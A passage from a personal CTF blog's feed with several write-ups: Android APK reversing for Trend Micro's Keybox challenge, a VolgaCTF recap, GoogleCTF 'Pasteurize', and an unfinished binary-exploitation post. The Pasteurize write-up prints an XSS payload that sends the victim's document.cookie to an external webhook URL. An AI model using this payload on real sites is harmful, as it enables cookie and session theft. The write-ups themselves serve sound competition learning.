</span></span><span style="display:flex;"><span>		m<span style="color:#f92672">.</span>update(flag <span style="color:#f92672">+</span> c<span style="color:#f92672">.</span>encode(<span style="color:#e6db74">&#34;utf-8&#34;</span>))
</span></span><span style="display:flex;"><span>		testhash <span style="color:#f92672">=</span> enhex(m<span style="color:#f92672">.</span>digest())
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (testhash <span style="color:#f92672">==</span> hash):
</span></span><span style="display:flex;"><span>			flag <span style="color:#f92672">+=</span> c<span style="color:#f92672">.</span>encode(<span style="color:#e6db74">&#34;utf-8&#34;</span>)
</span></span><span style="display:flex;"><span>			print (flag)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">continue</span>
</span></span></code></pre></div>
    <img src="/images/confessionsflag.png"  alt="flag"  class="center"  style="border-radius: 8px;"  />


<p>And that&rsquo;s that! A quick and straightforward challenge. It was a good warmup into the other excellent web problems I saw :)</p>
<h4 id="vie">Vie</h4>
]]></content>
        </item>
        
        <item>
            <title>Trend Micro CTF: Raimund Genes Quals 2020</title>
            <link>https://jamvie.net/posts/2020/10/trend-micro-ctf-raimund-genes-quals-2020/</link>
            <pubDate>Sun, 04 Oct 2020 13:12:06 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/10/trend-micro-ctf-raimund-genes-quals-2020/</guid>
            <description>Last year, before I became an active participant in Maple Bacon, the team went on to participate in and land a top 10 position in Trend Micro 2019 Qualifiers, later going on to compete in the finals of that year. When the 2020 serving came up this weekend, I wanted to keep with tradition and maintain the pattern - and so we landed a top 10 position and will be going on ahead to the 2020 finals :)</description>
            <content type="html"><![CDATA[<p>Last year, before I became an active participant in Maple Bacon, the team went on to participate in and land a top 10 position in Trend Micro 2019 Qualifiers, later going on to compete in the finals of that year. When the 2020 serving came up this weekend, I wanted to keep with tradition and maintain the pattern - and so we landed a top 10 position and will be going on ahead to the 2020 finals :)</p>
<!-- raw HTML omitted -->
<p>During the event, I was focused on one problem alongside my teammate Arctic, our resident crypto expert. Special thanks to Robert as well for assisting me throughout the challenge! The problem we were focused on was the RF-Mobile challenge known as &ldquo;Keybox&rdquo;.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>Keybox is an android app. The zip file of the challenge contained a single APK file, which I popped into android studio to poke around in, and used <code>jadx</code> to manually look through the files as well. In the APK, the <code>AndroidManifest.xml</code> file was far more informative than it regularly would be, defining several unique intents as well as new behaviour for other ones. The app itself, &ldquo;Keybox&rdquo;, was essentially a psuedo-spyware program - based on what you did while the app was open, it would listen in on any intents you made and act accordingly.</p>

    <img src="/images/AppView.png"  alt="AppView"  class="center"  style="border-radius: 8px;"  />


<p>The app itself was straightforward enough. The flag was in it, but encoded in rc4, with a specific key that was split across 5 values that themselves were encoded (also in rc4) with unique keys of their own. The idea was that you had to &ldquo;solve&rdquo; 5 levels in order to have the app decode the key fragment for you. There were hints (also encoded, but with the same key) that gave you a clue as to what to do to decrypt the key fragment. Once you decrypted all 5 keys, you combine it and use it as the key to decrypt the flag.</p>
<p>So, let&rsquo;s quickly review:</p>
<ul>
<li>
<p>the flag is encoded in rc4. The key for the flag&rsquo;s encoding algorithm is split into 5 other key bits.</p>
</li>
<li>
<p>those key bits are also encoded in rc4, each key bit having their own unique encoding key. However, there are hints as to how to unlock them.</p>
</li>
<li>
<p>those hints are encoded too. Luckily, the hints all share the same decryption key.</p>
</li>
</ul>
<p>Great! So we know nothing. Let&rsquo;s just jump into it.</p>
<h3 id="key-0">Key 0</h3>
<p>First up, key 0. The hint was already decoded for us:</p>

    <img src="/images/Key0Hints.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>But the actual key bit itself was still unknown. So I poked around in the <code>AndroidManifest.xml</code> file and saw this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span>       <span style="color:#f92672">&lt;activity</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">android:theme=</span><span style="color:#e6db74">&#34;@ref/0x7f0e0008&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">android:label=</span><span style="color:#e6db74">&#34;@ref/0x7f0d003a&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">android:name=</span><span style="color:#e6db74">&#34;com.trendmicro.keybox.KEY1HintActivity&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">android:exported=</span><span style="color:#e6db74">&#34;true&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">android:hint=</span><span style="color:#e6db74">&#34;Unlocking the hints requires sending the appropriate intent : adb shell am start-activity -a com.trendmicro.keybox.UNLOCK_HINT -n com.trendmicro.keybox/.KEY1HintActivity -e hintkey1 $PASSWORD&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">android:parentActivityName=</span><span style="color:#e6db74">&#34;com.trendmicro.keybox.KeyboxMainActivity&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&lt;intent-filter&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&lt;action</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">android:name=</span><span style="color:#e6db74">&#34;com.trendmicro.keybox.UNLOCK_HINT&#34;</span> <span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&lt;category</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">android:name=</span><span style="color:#e6db74">&#34;android.intent.category.LAUNCHER&#34;</span> <span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&lt;/intent-filter&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&lt;meta-data</span>
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">android:name=</span><span style="color:#e6db74">&#34;android.support.PARENT_ACTIVITY&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">android:value=</span><span style="color:#e6db74">&#34;com.trendmicro.keybox.KeyboxMainActivity&#34;</span> <span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;/activity&gt;</span>
</span></span><span style="display:flex;"><span>        
</span></span></code></pre></div><p>This was to unlock the hint for key 1. It was an app-specific intent that required a password. The intent itself would actually decrypt the hint, with the password you provided it as the key (am I using &lsquo;key&rsquo; too much here?). Since the actual &ldquo;hint&rdquo; in key 0 didn&rsquo;t really deliver information to me about <em>how</em> to unlock key 0, I figured I would request the hint again. But I didn&rsquo;t know the password value(more on this later). So Arctic and I bounced a few ideas back and forth until I thought to sanity check and use the same password provided to us to unzip the challenge file.</p>

    <img src="/images/Key0Decrypt.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>I&rsquo;m not sure why that worked. I&rsquo;m not totally sure this was intended or not. But regardless, the key for key 0&rsquo;s encryption process was the password that was used to unzip the challenge file. Later on, Arctic mentioned that the real hint for key 0 we maybe never found out, and we ended up just correctly guessing the key to decode key0.</p>
<h3 id="key-1">Key 1</h3>
<p>So on a bit of lucky streak, I continued on to key 1, while Arctic decrypted the hints. Because we still didn&rsquo;t know the encryption key for the hints, Arctic used a scoring function to decode as much of the hints in the ciphertexts as possible. The bits and pieces she recovered for key1&rsquo;s hint was:</p>
<pre tabindex="0"><code>To unlock Key 1, you must call Trend Micro.
</code></pre><p>It was at this point that I was examining the other classes in the APK that I realized that the encryption key was hidden in the singleton class - <code>TrendMicro</code>.</p>
<p>Another teammate and mentor Robert quickly spun up a python script called <code>decrypt.py</code> to automate much of the decrypting process, now that we figured out the password.
But the full hint for key 1 didn&rsquo;t reveal anything else. That was the whole hint.</p>
<p>So now I had to look at and see how the app listens in for incoming and outgoing calls.</p>
<p>I spent a good portion of my time calling up all possible Trend Micro office numbers through my emulator, and simulating incoming calls from them, to no avail. And so I thought about it a bit more:</p>
<p>In the observer class in the APK file, they instantiated a listener to look for incoming calls (the CALL_STATE android intent). The hint suggested to call the office, but the code itself seemed to only be paying attention to incoming callers, not calls you make. Wether or not the intention was to do both, I thought about how this would work.</p>
<p>Since the app was listening in on call history, how would it then know when to decrypt KEY1? What is the encryption key it&rsquo;s looking for? Well, since the hint and the code all pointed to the act of making and recieving calls, then the encryption key to decode KEY1 must be a phone number. And wether or not I was having luck with dialing all possible offices to see if the app&rsquo;s listener would take notice, the components were all there. The encryption key had to be a phone number. We knew that KEY1 bit was encoded in rc4. So, couldn&rsquo;t we just take the .enc file and give it a couple Trend Micro phone numbers as a key, and run it through the rc4 decryption process?</p>
<p>It turned out that the phone number for Trend Micro&rsquo;s Japan HQ was the key to decrypt KEY1.</p>

    <img src="/images/key1Decrypt.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<h3 id="key-2">Key 2</h3>
<p>With that being said, key 2 was way easier to decrypt. The hint for it was simple:</p>
<pre tabindex="0"><code>To unlock KEY2, send the secret code.
</code></pre><p>Which is sufficiently vague, but &ldquo;secret codes&rdquo; are meaningful in Android developement.</p>
<p>Secret codes are specific sequences of numbers that could perform special actions. For example, the code <code>232338</code> would reveal your android phone&rsquo;s MAC address. Applications can also use them to perform secret tasks or unlock hidden features. If you wanted to test this out on your android device, open up your dialer and input a secret code as so:
<code>*#*#123456#*#*</code>.</p>
<p>In the <code>AndroidManifest.xml</code> file, the SECRET_CODE intent is defined:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span>            <span style="color:#f92672">&lt;intent-filter&gt;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&lt;action</span> <span style="color:#a6e22e">android:name=</span><span style="color:#e6db74">&#34;android.provider.Telephony.SECRET_CODE&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&lt;data</span> <span style="color:#a6e22e">android:host=</span><span style="color:#e6db74">&#34;\ 8736364276&#34;</span> <span style="color:#a6e22e">android:scheme=</span><span style="color:#e6db74">&#34;android_secret_code&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&lt;data</span> <span style="color:#a6e22e">android:host=</span><span style="color:#e6db74">&#34;\ 8736364275&#34;</span> <span style="color:#a6e22e">android:scheme=</span><span style="color:#e6db74">&#34;android_secret_code&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&lt;/intent-filter&gt;</span>
</span></span></code></pre></div><p>So the secret code in the app is the encryption key for KEY2!</p>
<p>You can either use <code>abd</code> to send the <code>android.provider.Telephony.SECRET_CODE</code> intent or just use the dialer in the emulator, as the app has a listener on the call function. Either way, you get KEY2.</p>

    <img src="/images/Key2Decrypt.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<h2 id="key-3">Key 3</h2>
<p>The hint for Key3 was:</p>
<pre tabindex="0"><code>Unlock KEY3 by sending the right text message. 
</code></pre><p>This requires some explanation on the architecture of text messages in an android phone.</p>
<p>SMS messages are kept in a relational database - specifically, sqlite. In the APK&rsquo;s observer class, we see some interesting checking going on:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>    invoke<span style="color:#f92672">-</span><span style="color:#66d9ef">interface</span> <span style="color:#960050;background-color:#1e0010">{</span><span style="color:#a6e22e">v5</span><span style="color:#f92672">,</span> v2<span style="color:#f92672">},</span> Landroid<span style="color:#f92672">/</span>database<span style="color:#f92672">/</span>Cursor<span style="color:#f92672">;-&gt;</span>getColumnName<span style="color:#f92672">(</span>I<span style="color:#f92672">)</span>Ljava<span style="color:#f92672">/</span>lang<span style="color:#f92672">/</span>String<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    move<span style="color:#f92672">-</span>result<span style="color:#f92672">-</span>object v5
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    invoke<span style="color:#f92672">-</span>virtual <span style="color:#f92672">{</span>v4<span style="color:#f92672">,</span> v5<span style="color:#f92672">},</span> Ljava<span style="color:#f92672">/</span>lang<span style="color:#f92672">/</span>String<span style="color:#f92672">;-&gt;</span>equals<span style="color:#f92672">(</span>Ljava<span style="color:#f92672">/</span>lang<span style="color:#f92672">/</span>Object<span style="color:#f92672">;)</span>Z
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    move<span style="color:#f92672">-</span>result v4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span><span style="color:#f92672">-</span>eqz v4<span style="color:#f92672">,</span> <span style="color:#f92672">:</span>cond_a8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    iget<span style="color:#f92672">-</span>object v4<span style="color:#f92672">,</span> p0<span style="color:#f92672">,</span> Lcom<span style="color:#f92672">/</span>trendmicro<span style="color:#f92672">/</span>keybox<span style="color:#f92672">/</span>Observer<span style="color:#f92672">;-&gt;</span>cursor<span style="color:#f92672">:</span>Landroid<span style="color:#f92672">/</span>database<span style="color:#f92672">/</span>Cursor<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    iget<span style="color:#f92672">-</span>object v5<span style="color:#f92672">,</span> p0<span style="color:#f92672">,</span> Lcom<span style="color:#f92672">/</span>trendmicro<span style="color:#f92672">/</span>keybox<span style="color:#f92672">/</span>Observer<span style="color:#f92672">;-&gt;</span>cursor<span style="color:#f92672">:</span>Landroid<span style="color:#f92672">/</span>database<span style="color:#f92672">/</span>Cursor<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span><span style="color:#f92672">-</span>string v6<span style="color:#f92672">,</span> <span style="color:#e6db74">&#34;type&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    invoke<span style="color:#f92672">-</span><span style="color:#66d9ef">interface</span> <span style="color:#960050;background-color:#1e0010">{</span><span style="color:#a6e22e">v5</span><span style="color:#f92672">,</span> v6<span style="color:#f92672">},</span> Landroid<span style="color:#f92672">/</span>database<span style="color:#f92672">/</span>Cursor<span style="color:#f92672">;-&gt;</span>getColumnIndex<span style="color:#f92672">(</span>Ljava<span style="color:#f92672">/</span>lang<span style="color:#f92672">/</span>String<span style="color:#f92672">;)</span>I
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    move<span style="color:#f92672">-</span>result v5
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    invoke<span style="color:#f92672">-</span><span style="color:#66d9ef">interface</span> <span style="color:#960050;background-color:#1e0010">{</span><span style="color:#a6e22e">v4</span><span style="color:#f92672">,</span> v5<span style="color:#f92672">},</span> Landroid<span style="color:#f92672">/</span>database<span style="color:#f92672">/</span>Cursor<span style="color:#f92672">;-&gt;</span>getInt<span style="color:#f92672">(</span>I<span style="color:#f92672">)</span>I
</span></span></code></pre></div><p>What&rsquo;s happening here? Well, long story short, when we send an SMS message, the app will access the SMS sqlite database and iterate through the columns of that database, and match the content of the text message to the column name. If there&rsquo;s a match, then the app will unlock the 3rd key for us. This must mean that the string needed to decrypt the third key bit must be one of the column names!</p>

    <img src="/images/Key3Decrypt.png"  alt="key3"  class="center"  style="border-radius: 8px;"  />


<p>The column name that decrypted KEY3 turned out to be &lsquo;body&rsquo;.</p>
<h2 id="key-4">Key 4</h2>
<p>Despite KEY4 having the longest hint, and arguably the most amount of time to do, KEY4 was remarkably simple. The details are in the function of the ciphertext:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// why actually calculate distance when you can just fake it ;)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span>(Math.<span style="color:#a6e22e">abs</span>(<span style="color:#a6e22e">location_latitude</span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">singleton_latitude</span>) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0.001</span> <span style="color:#f92672">&amp;&amp;</span> Math.<span style="color:#a6e22e">abs</span>(<span style="color:#a6e22e">location_longitude</span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">singleton_longitude</span>) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0.001</span> ) {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">Log</span>(<span style="color:#e6db74">&#34;Matched Location &#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">location</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">SHA1</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Hashes</span>.<span style="color:#a6e22e">SHA1</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">hash</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">SHA1</span>.<span style="color:#a6e22e">hex</span>(<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">location</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span>( <span style="color:#a6e22e">hash</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hash</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">location_match</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Welcome to &#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">location</span>;
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">location_match</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Welcome to &#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">location</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">singleton</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">hash</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">location_match</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">titleView</span>.<span style="color:#a6e22e">setText</span>(<span style="color:#e6db74">&#34;Key Four Hints&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">textView</span>.<span style="color:#a6e22e">setText</span>(
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Visit &#34;</span> <span style="color:#f92672">+</span> <span style="color:#75715e">/* all three of */</span> <span style="color:#e6db74">&#34;the headquarters to unlock Key 4&#34;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;\n\n&#34;</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">location_match</span>
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span>(<span style="color:#66d9ef">true</span>)<span style="color:#e6db74">`
</span></span></span></code></pre></div><p>The hint specified to visit only the 3 headquarters, which were in the USA, Canada and Japan (Irving, Ontario and Tokyo respectively). While you can simulate your location in the emulator to pretend as if you visited all 3 locations, what it was looking for was the hash of the lat-lon location. It would check if that hash was among the list of accepted ones (which are only the hashes of the 3 HQs), and then append those hashes and use it as the key to decrypt KEY4.</p>
<p>So, we needed to just append the hashes of the 3 headquarters, and input that as our decryption key to key4.enc.</p>

    <img src="/images/Key4Decrypt.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<h2 id="the-flag">The Flag</h2>
<p>With all 5 keys decrypted, all that was left was to combine them all and decrypt the flag.</p>
<p><code>TMCTF{pzDbkfWGcE}</code></p>
<p>Special thanks to my teammates, rctcwyvern and Robert for helping me out :) I&rsquo;m thankful I spent my earlier CS years playing around in Android Studio. I unknowingly gained some valuable skills needed to reverse engineer the APK. Goes to show how every little thing counts! :P</p>
<h4 id="vie">Vie</h4>
]]></content>
        </item>
        
        <item>
            <title>VolgaCTF Finals 2020</title>
            <link>https://jamvie.net/posts/2020/09/volgactf-finals-2020/</link>
            <pubDate>Sat, 19 Sep 2020 20:57:15 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/09/volgactf-finals-2020/</guid>
            <description>&lt;p&gt;A reflection on VolgaCTF Finals, which I participated in with my team. We were the only North American team participating in the event, and for a good portion of the CTF, we held 1st place! Unfortunately, that didn&amp;rsquo;t last for the end of the competition.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>A reflection on VolgaCTF Finals, which I participated in with my team. We were the only North American team participating in the event, and for a good portion of the CTF, we held 1st place! Unfortunately, that didn&rsquo;t last for the end of the competition.</p>
<p>This year of the finals round gave us an online offering of the attack-defense CTF competition, marking my first experience with attack-defense style CTFs. Overall the challenges and showmanship were alright throughout the competition, but a big barrier between my team and the others participating was the timezone. VolgaCTF was occuring in the midday in Russia, which was midnight in my timezone.</p>
<p>My team and I had to pull an all-nighter to partcipate in the finals round, and the lack of sleep was definitely to our disadvantage.</p>
<h2 id="the-setup">The Setup</h2>
<p>Since the round was online due to COVID-19, we did not participate in person. Our setup was all virtual: we used a VPN to connect to the VM instance given to us by the competition organizers. The setup was as so:</p>
<ul>
<li>
<p>We are given a unique vulnbox instance that are accessible only via the VPN connection, which we connected to on the day of.</p>
</li>
<li>
<p>The services (challenges) are all in the vulnbox, isolated via docker containers. There were 4 services in total, and we were responsible for their upkeep. This proved challenging - essentially adopting the role of sysadmin as we attempted to patch these services <em>and</em> keep them running. Every team&rsquo;s instance of a service were being flooded by requests from other teams to get flags, so we unintentionally adopted DevOps roles alongside hacking. If a service was down for us on our server, we couldn&rsquo;t obtain flags from other servers while it was down.</p>
</li>
<li>
<p>Flags were to be configured as <code>VolgaCTF{stuff here}</code> kept in a unique, specific encoding. We had a script that automated flag decoding and submission.</p>
</li>
</ul>
<h2 id="the-challenges">The Challenges</h2>
<p>The challenges were straightforward and almost all encompassed web-based exploits, which was a welcome developement for me. I focused on the last challenge, PDFer, as it was the longest unsolved service and I was obsessed with getting first blood on it :P.</p>
<h2 id="summary">Summary</h2>
<p>This is my first attack-defense CTF. Having it fully online? An interesting experience. My mentors and other team members who had participated in more CTFs remarked that in-person attack-defenses are a completely different experience entirely, and I really want to see what that would be like (which I guess isn&rsquo;t anytime soon). The concept itself was cool, although the duty of maintaining the servers as a sysadmin was not necessarily something I was anticipating. Unfortunately, there was a limit to the amount of people who could participate in the finals, and if the limit was increased, more stratified and defined roles could have existed to allow members to focus on one specific thing in the CTF. Perhaps my next attack-defense will have a higher team limit.</p>
<p>But overall, the experience was a unique one, and I am happy to have participated in the attack-defense CTF given it was my first. Hopefully, there will be many more to come in my future.</p>
<p>Jam</p>]]></content>
        </item>
        
        <item>
            <title>GoogleCTF 2020: Pasteurize</title>
            <link>https://jamvie.net/posts/2020/08/googlectf-2020-pasteurize/</link>
            <pubDate>Sun, 23 Aug 2020 17:35:14 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/08/googlectf-2020-pasteurize/</guid>
            <description>This is the first challenge I worked on. I will soon upload a post on the second one. I completed this challenge with the help of my team mentor!
Let&amp;rsquo;s Begin! The challenge lets us load into the DOM whatever we want through this pastebin-esque function. When you make a note, you have an option to share it with a &amp;ldquo;TjMike&amp;rdquo; Entity. Sign of XSS/CSRF attacks?
My input, &amp;ldquo;uwu&amp;rdquo;, is shoved into a javascript string variable called &amp;rsquo;note&amp;rsquo;.</description>
            <content type="html"><![CDATA[<p>This is the first challenge I worked on. I will soon upload a post on the second one. I completed this challenge with the help of my team mentor!</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>The challenge lets us load into the DOM whatever we want through this pastebin-esque function.
When you make a note, you have an option to share it with a &ldquo;TjMike&rdquo; Entity. Sign of XSS/CSRF attacks?</p>
<p>
    <img src="/images/google2020pastdompur.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<em>My input, &ldquo;uwu&rdquo;, is shoved into a javascript string variable called &rsquo;note&rsquo;. Further down we see a</em> <code>const clean</code> <em>variable that calls DOMpurify to sanitize our input.</em></p>
<p>Looking into the HTML, whatever content we put into the note is immediately shoved into a javascript string. However, if you try to input quotation marks in there, the DOMpurify clean function escapes it. So, if we can get an unescaped quote in there, we can do whatever we want. Let&rsquo;s focus on the comment.</p>

    <img src="/images/google2020source.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Going to the <code>/source</code> endpoint takes us, well, directly to the webpage&rsquo;s app file.</p>
<p>Of note are the app&rsquo;s use of using the Express BodyParser to operate on &rsquo;extended&rsquo; mode (using the <code>qs</code> library instead of the <code>querystring</code> library).</p>

    <img src="/images/Google2020bodyparser.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>In the source we also see:</p>

    <img src="/images/google2020json.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p><code>JSON.stringify(unsafe)</code> - if our content (unsafe) is a string, then the function simply adds additional quotation marks onto the string, and the <code>slice(1,-1)</code> function removes those extra quotations, before feeding it to the DOM to be rendered. What if our input isn&rsquo;t a string - what if it&rsquo;s an array?</p>
<p>The <a href="https://www.npmjs.com/package/qs#parsing-arrays"><code>qs</code></a> library allows arrays to be parsed from HTTP requests if theyre stipulated as:</p>
<pre tabindex="0"><code>{
    array[]=a&amp;array[]=b

    //array = [a,b]
}
</code></pre><p>When we make a note (POST request to <code>/note</code>), intercept the request via burpsuite. Modify your query there. Change <code>content=</code> to <code>content[]=</code> (Alternatively, you can CURL your request to not deal with proxy settings).</p>

    <img src="/images/google2020pastalert.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />



    <img src="/images/google2020xss.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>If we go to the page, we see that an alert is prompted - aka, we have succesfully escaped the JS string and can write javascript code as normal. That being said, let&rsquo;s go ahead and craft a payload to xss TJMike (I am being lazy and reusing an old payload of mine from before and modifying it).</p>
<pre tabindex="0"><code>content[]=; document.getElementById(&#39;note-content&#39;).onLoad = fetch(&#39;https://webhook.site/64627794-30a4-466d-b93a-537bdebca744&#39;, {method:&#39;POST&#39;, body:JSON.stringify({data:document.cookie})});const uwu = 
</code></pre><p>Share our note to TJMike. Wait for our server to grab their cookie.</p>

    <img src="/images/googlectf2020pastflag.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Jam</p>
]]></content>
        </item>
        
        <item>
            <title>HacktivityCon CTF: Bullseye</title>
            <link>https://jamvie.net/posts/2020/08/hacktivitycon-ctf-bullseye/</link>
            <pubDate>Sun, 09 Aug 2020 18:48:52 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/08/hacktivitycon-ctf-bullseye/</guid>
            <description>&lt;p&gt;It&amp;rsquo;s clear to see from the content of my blog that my expertise lies in web-based exploits.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>It&rsquo;s clear to see from the content of my blog that my expertise lies in web-based exploits.</p>
<p>However, I have mentioned before wanting to branch out and diversify my skillset in hacking; and while I definitely have more knowledge in web exploits, I also know a thing or two about pwning. Hacktivity Con CTF was a competition that ran this month, introducing several different challenges that I sunk my teeth into. I will showcase one of them here, called &ldquo;Bullseye&rdquo;.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>Bullseye is a binary exploit challenge where we are given an executable called &ldquo;bullseye&rdquo;. Running it through ghidra, we can locate the main function - the binary isn&rsquo;t stripped:</p>

    <img src="/images/ghidrabullseye.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>We&rsquo;re allowed a single &lsquo;write&rsquo; privilege to change some aspect of the program. In pwn challenges, the goal would be to change the value in the instruction pointer - typically, common knowledge is to change the original value in the EIP register and have it take the address of the libc <code>system</code> function, allowing us to open a shell and do all sorts of things. We don&rsquo;t know where the libc location is through the global offset table, so figuring out the address of <code>system</code> will be our main issue.</p>
<p>What&rsquo;s interesting is that the main() function returns by exit() - hence why we only get one write. However, if we use our one write to change exit() to instead jump back to main in the last line, we can bypass the &ldquo;one write only&rdquo; rule, sort of making our main() function recursive.</p>
<p>Doing this, we actually get a <a href="https://www.gnu.org/software/libc/">libc</a> leak, through the function <code>alarm</code>. I find out afterwards that ASLR is disabled in this executable! This is important - with this libc leak, we can solve our &ldquo;where is libc in the GOT&rdquo; question, and calculate the <code>system</code> function&rsquo;s address in memory through it.
So we now have an oppurtunity to call <code>system</code>, but what line should we replace in <code>main</code> to open our shell in?</p>
